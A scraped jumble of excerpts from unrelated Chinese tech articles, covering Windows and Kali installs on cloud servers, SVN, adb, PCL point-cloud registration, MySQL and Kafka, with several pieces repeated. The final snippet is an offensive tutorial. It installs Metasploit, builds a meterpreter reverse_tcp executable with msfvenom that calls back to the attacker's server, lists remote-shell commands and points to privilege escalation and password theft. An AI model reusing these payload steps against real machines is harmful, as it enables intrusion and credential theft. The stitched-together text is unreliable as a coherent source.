因为有个人需要，自己需要在云服务器装个win7系统操作，也看到有很多人需要win7系统，特意制作此教程，第一次做教程，做得不好不要介意，谢谢！...image.png 2、进入系统，用win+r 输入diskmgmt.msc 进入磁盘管理，（或者右键计算机-管理，进入磁盘管理），先对云服务器进行分区，因为重装系统会导致c盘清空。...image.png image.png image.png 3、在云服务器上下载两个需要安装的文件： 一定要提前下载好到分区好的磁盘，因为后面电脑重装win7是无法上网！...image.png image.png 5、重启安装好win7之后，会导致无法上网，右下角网络是感叹号的，这个时候就需要装virtio驱动了！...以上就是云服务器安装win7的方法，有什么问题评论给我吧。
安装SVN 服务端 1、安装Subversion （Subversion 是一个版本控制系统，相对于的 RCS 、 CVS ，采用了分支管理系统，它的设计目标就是取代 CVS 。）...yum 命令安装SVN : yum insatll -y subversion 2、创建SVN 版本库 2.1 创建项目版本库 ：mkdir -p /data/svn/myproject 2.2 配置SVN...myproject /data/workspace/myproject –username root –password 123456 –force –no-auth-cache 3.3提交文件到svn服务器...test.txt -m ‘test’ 3.4提交成功后，通过如下命令从本地删除文件 cd /data/workspace/myproject rm -rf test.txt 3.5 删除后通过svn服务器恢复
正文 最近腾讯云对轻量价格进行了一系列调整。 最引人注意的是香港轻量的价格，起步飙到了335元/月，基本告别个人用户。 但在境外涨价的同时，境内轻量进行降价，这是比较少人关注的。...因为腾讯云的升级策略是升级后所有配置都要大于升级前的。 所以没法升级到另一款2C8G的，比较遗憾。 免费升配方法 升配方法很简单，到轻量控制台点升级套餐 然后选择同价位的套餐即可免费升级
一、安装adb（下载资源http://download.csdn.net/detail/hanbo622/7558535） 把adb安装包的文件放到C:\Windows\System32下（附：win7...path=%path%;C:\Windows\System32） 或（在“电脑”->“属性”->“高级系统设置”->“环境变量”->“系统变量”->“path”添加adb.exe所在绝对路径） 测试安装成功...Permission denied 解决： adb remount 进入命令行：adb shell 切换用户：su （提示符$, 该为#）（如果无法进入root可以用安装...驱动安装好后adb依然出现找不到设备：device not found。
但是最近有不少用户反应自己在安装Windows7系统的时候，卡在程序正在启动服务。那么这要怎么办呢？下面小编就带着大家一起看看吧！...操作方法： 1、使用Windows光盘或者U盘引导，进入系统安装界面。按【Shift + F10】打开命令提示符。 2、输入【Diskpart】(不用输入引号，下同)，按【回车】，进入操作界面。...图中465G的Disk 0是硬盘，3852M的Disk 1是用于Win7安装的U盘。 4、输入【select disk 0】，按【回车】，即选择disk 0为当前操作的磁盘。...7、操作完成，关闭此命令提示符窗口，继续按照正常的方法安装Win7系统即可。 以上就是解决win7安装序卡在正在启动服务的解决方法了，看完了就赶紧去给自己电脑试试吧。
在上一篇文章 点云配准（一 两两配准）中我们介绍了两两点云之间的配准原理。本篇文章，我们主要介绍一下PCL中对于多幅点云连续配准的实现过程，重点请关注代码行的注释。...对于多幅点云的配准，它的主要思想是对所有点云进行变换，使得都与第一个点云在统一坐标系中。在每个连贯的、有重叠的点云之间找到最佳的变换，并累积这些变换到全部的点云。...能够进行ICP算法的点云需要进行粗略的预匹配，并且一个点云与另一个点云需要有重叠部分。 ? 此处我们以郭浩主编的《点云库PCL从入门到精通》提供的示例demo来介绍一下多幅点云进行配准的过程。...，temp返回配准后两组点云在第一组点云坐标下的点云，pairTransform返回从目标点云target到源点云source的变换矩阵。...//现在我们开始进行实际的匹配，由子函数pairAlign具体实现， //其中参数有输入一组需要配准的点云，以及是否进行下采样的设置项，其他参数输出配准后的点云及变换矩阵。
安装composer 1. 在Composer官网里下载 Composer-Setup.exe 2....一键式安装，Settings Check选择php.exe的地址 Proxy Settings不需要填 验证composer 打开DOS窗口,输入composer,有下界面的图形则成功 使用composer
（1）正态分布变换进行配准（normal Distributions Transform） 介绍关于如何使用正态分布算法来确定两个大型点云之间的刚体变换，正态分布变换算法是一个配准算法，它应用于三维点的统计模型...，使用标准最优化技术来确定两个点云间的最优匹配，因为其在配准的过程中不利用对应点的特征计算和匹配，所以时间比其他方法比较快， 对于代码的解析 /*使用正态分布变换进行配准的实验 。...> #include #include //NDT(正态分布)配准类头文件 #include size () << " data points from room_scan2.pcd" << std::endl; //以上的代码加载了两个PCD文件得到共享指针，后续配准是完成对源点云到目标点云的参考坐标系的变换矩阵的估计...cloud_tr, 20, 180, 20); viewer.addPointCloud (cloud_tr, cloud_tr_color_h, "cloud_tr_v1", v1); // ICP配准后的点云为红色
，然后就可以方便进行可视化的操作，这就是点云数据的配准。...点云的配准有手动配准依赖仪器的配准，和自动配准，点云的自动配准技术是通过一定的算法或者统计学规律利用计算机计算两块点云之间错位，从而达到两块点云自动配准的效果，其实质就是把不同的坐标系中测得到的数据点云进行坐标系的变换...PCL中实现配准算法以及相关的概念 两两配准的简介：一对点云数据集的配准问题是两两配准（pairwise registration 或 pair-wise registration）.通常通过应用一个估计得到的表示平移和选装的...(source, target); //可视化为配准的源和目标点云 //调用子函数完成一组点云的配准，temp返回配准后两组点云在第一组点云坐标下的点云 PointCloud::Ptr...，在迭代次数小于设定的次数之前，右边会不断刷新最新的配准结果，直到收敛，迭代次数30次完成整个匹配的过程，再次按下Q后会看到存储的1.pcd文件，此文件为第一个和第二个点云配准后与第一个输入点云在同一个坐标系下的点云
Linux之Ubuntu 目录 Linux之Ubuntu A1 安装 1.1 过程 A2 进入后常规 2.1 命令思想 2.2 进入root用户 2.3 进入文本编辑模式 2.4 配网（指定静态ip）...---- A1 安装 前提：安装了Vmware虚拟机 然后新建虚拟机，并选择镜像，除了镜像与centos不同，前边操作相同。...A2 进入后常规 2.1 命令思想 在Ubuntu中安装时没有设置root用户，故许多命令需要sudo来提升权限。...2.4 配网（指定静态ip） 先 ip addr查看网卡，如果是ens33则第一种，是enp0s3或enp0s8则第二种。...ssh服务器： #安装远程ssh服务 sudo apt-get install openssh-server #若没有ssh则安装 sudo apt-get install ssh A4 问题 4.1
群里某天有个群友在询问轻量云能否安装win2003，看了下官方镜像，没有win2003，本着助人为乐的精神，拿一下我11.11秒杀的鸡儿来演示一下，仅做为技术学习之用，切勿违法使用。...如果你的鸡儿比我的配置好，那么肯定会节省时间 如何检测我的VPS服务器是否支持DD Windows 在Debian/Ubuntu 下 安装: apt-get install virt-what...然后就是检测 UEFI 或 BIOS 引导启动 安装: apt-get install efibootmgr 执行命令: efibootmgr 显示为： EFI variables are not...并没有出现成功的标志，但是我依然成功了，所以上面那些是为了确保万无一失 开始 切换用户为超级管理员 sudo su 更新系统源 apt-get update && apt-get upgrade 安装必须的软件包...最后：如果感觉系统好，请支持正版系统，若感觉小鸡性能不够，那么就来腾讯云参加双十二活动吧。 若违规，版主or管理直接删除就好。
其实云桌面也有多个组成部分，比如服务器、云终端、显示器等，而选择的时候要根据实际情况来决定，一般用户数量多的，有特殊需求的，就对服务器要求更高，当然也有人想云桌面终端配自己服务器，那么是否可行呢？...选自己的服务器怎么样 服务器对于云桌面是相当关键的，如果配置不够，体验感就会大大降低，甚至影响到日常的正常办公，比如网络不够流畅，安全性没有保障等。...云桌面终端配自己服务器是相对比较省钱，但是难以达到稳定性和安全性的部署要求，尤其是对于一些颇具规模的企业是不太合适的，所以最好选择专业的品牌方。...应该如何配置 云桌面终端配自己服务器并非完全不可行，如果自身技术条件可是实现，也可以去尝试，但大多企业都没有经验和技术的，所以还是相信专业配置。那么服务器到底怎么配置呢？...以上就是关于云桌面终端配自己服务器的相关介绍，之所以选择云桌面也是为了更便于企业发展和管理，所以对至关重要的服务器还是要精心选择的。
点云配准的目标是根据原始点云和目标点云，通过配准求出变换矩阵，即旋转矩阵R和平移矩阵T，并计算误差，来比较匹配结果。...） 精配准 误差分析 注意：配准中，由于不同点云数据集的特性，需要提取不同关键点。...粗配准 ?...partial overlapping area situation code: https://github.com/jieliu/point_cloud_registration 6，使用ICP实现点云的配准与拼接的...PCL点云配准（1） PCL点云配准（2） 8,3D Point Cloud Registration for Localization using a Deep Neural Network Auto-Encoder
序言： 以前安装系统都是用系统盘安装，要么借朋友的系统引导盘，要么自己买光盘，然后自己刻录，相对来说都是比较麻烦的；然而现在大家用的最多的都是用U盘PE系统安装操作系统，即方便又省事，而且还不花钱，毕竟这年头谁还没个...选择系统： 根据自己的需求如选择win10，win8，win7等，然后下载好系统镜像.iso文件。...install.vim文件，然后选择引导磁盘的位置和安装磁盘的位置，一般两者都选择C盘，然后点击右下角的“开始安装”按钮。...4.使用驱动精灵万能网卡版自动安装电脑匹配的网卡驱动，网卡安装完成之后就可以配置IP等，我们就可以联网了；然后继续使用驱动精灵检查电脑所缺的驱动--安装驱动--重启系统完成所有驱动的安装。...如上5个步骤下来，我们的win7操作系统就安装完成了，剩下的就是安装常用软件和杀毒软件等等了。
前言 在网上可以搜索到 2 种在腾讯云服务器上安装kali系统的方法： 第一种方法： 通过挂载云硬盘到云服务器上，将kali镜像刻录到挂载的云硬盘中，利用VNC可视化安装kali系统；查看详情 第二种方法...0x01 安装前准备一个 kali linux 镜像：点击下载 一个腾讯云服务器：点击访问 一个 virtualbox 虚拟机软件：点击下载 0x02 安装 virtualbox 软件 双击运行 virtualbox...在virtualbox安装kali虚拟机 首先确定腾讯云的镜像格式要求如下 本文接下来所要演示的镜像格式为：RAW 格式 打开virtualbox，新建虚拟电脑，按要求填写，点击下一步 虚拟机内存大小根据你的云服务器的内存大小而定...系统 不出意外的话就可以看到kali的界面了 到此为止，kali成功部署到腾讯云服务器上了。...而云服务器的硬盘一般都是有50G的大小，安装完kali系统只用了10G，我们需要将剩余近40G空间全分配给kali。 1.
前言 今天关网站只要是想要在我的服务器上装kali系统，可惜的是轻量应用服务器好像不支持自定义系统镜像，但云服务器是可以的。...准备工作 云服务器 kali linux镜像 点击下载 virtualbox虚拟机软件 点击下载 安装virtualbox软件 运行virtualbox软件包，无脑下一步就行了。...\VBoxManage clonehd -format RAW kali.qcow kali.ram 待100%时，在virtualbox软件的安装目录找到一个.ram文件 打卡腾讯云的控制台...，新建一个对象存储桶 点击新建的对象存储桶，点击上传文件，上传.ram文件 完成后点击复制对象地址 来到云服务器控制台，点击镜像，然后导入镜像 然后就是静待镜像导入完毕了 因为我的是轻量应用服务器...，所以无法安装kali系统 详情可以看原作者，本文主要用于加深印象而写 云服务器安装kali系统 点击实例，选择云服务，点击更多，点击重置系统 然后点击自定义镜像，选择刚制作好的kali镜像，设置好密码
操作系统:Centos 7.4 MySQL版本: MySQL 5.7 登录服务器 1、下载数据库 cd usr/local/src/ wget https://repo.mysql.com//mysql57...-community-release-el7-8.noarch.rpm 2、安装mysql yum -y install mysql57-community-release-el7-8.noarch.rpm...3、查看mysql安装情况 yum repolist enabled | grep mysql.* 4、查看mysql server yum install mysql-community-server
Kafka 是主流的消息流系统，其中的概念还是比较多的，下面通过图示的方式来梳理一下 Kafka 的核心概念，以便在我们的头脑中有一个清晰的认识。
前言 在网上可以搜索到 2 种在腾讯云服务器上安装kali系统的方法： 第一种方法： 通过挂载云硬盘到云服务器上，将kali镜像刻录到挂载的云硬盘中，利用VNC可视化安装kali系统；查看详情 第二种方法...0x01 安装前准备 一个 kali linux 镜像：点击下载 一个腾讯云服务器：点击访问 一个 virtualbox 虚拟机软件：点击下载 0x02 安装 virtualbox 软件 双击运行 virtualbox...在virtualbox安装kali虚拟机 首先确定腾讯云的镜像格式要求如下 本文接下来所要演示的镜像格式为：RAW 格式 打开virtualbox，新建虚拟电脑，按要求填写，点击下一步 虚拟机内存大小根据你的云服务器的内存大小而定...系统 不出意外的话就可以看到kali的界面了 到此为止，kali成功部署到腾讯云服务器上了。...而云服务器的硬盘一般都是有50G的大小，安装完kali系统只用了10G，我们需要将剩余近40G空间全分配给kali。 1.
在校园网环境下，由于各种限制，会导致本机虚拟机网络出现各种问题，解决起来非常繁琐，为此可以在服务器上安装MSF 1....安装MFS 用xshell等工具连接你的服务器，并使用ifconfig查看你的ip地址并记下来 接下来的命令 // 切换目录 cd /home // 获取MSF安装脚本 curl https://raw.githubusercontent.com...安装postgresql 因为MSF需要记录一些数据，依赖于postgresql，因此还需要安装 同样在当前home目录下 // 安装postgresql apt-get install postgresql...MSF实战 // 生成小马文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=服务器IP LPORT=服务器监听端口 -f exe -o test.exe...screenshot // 进入目标主机的Shell shell // 退出shell exit // 更多内容可以通过帮助查看 help 后续就是提权、抓密码、横向渗透的事情了，可以自由发挥 更多问题可以联系我：行云博客
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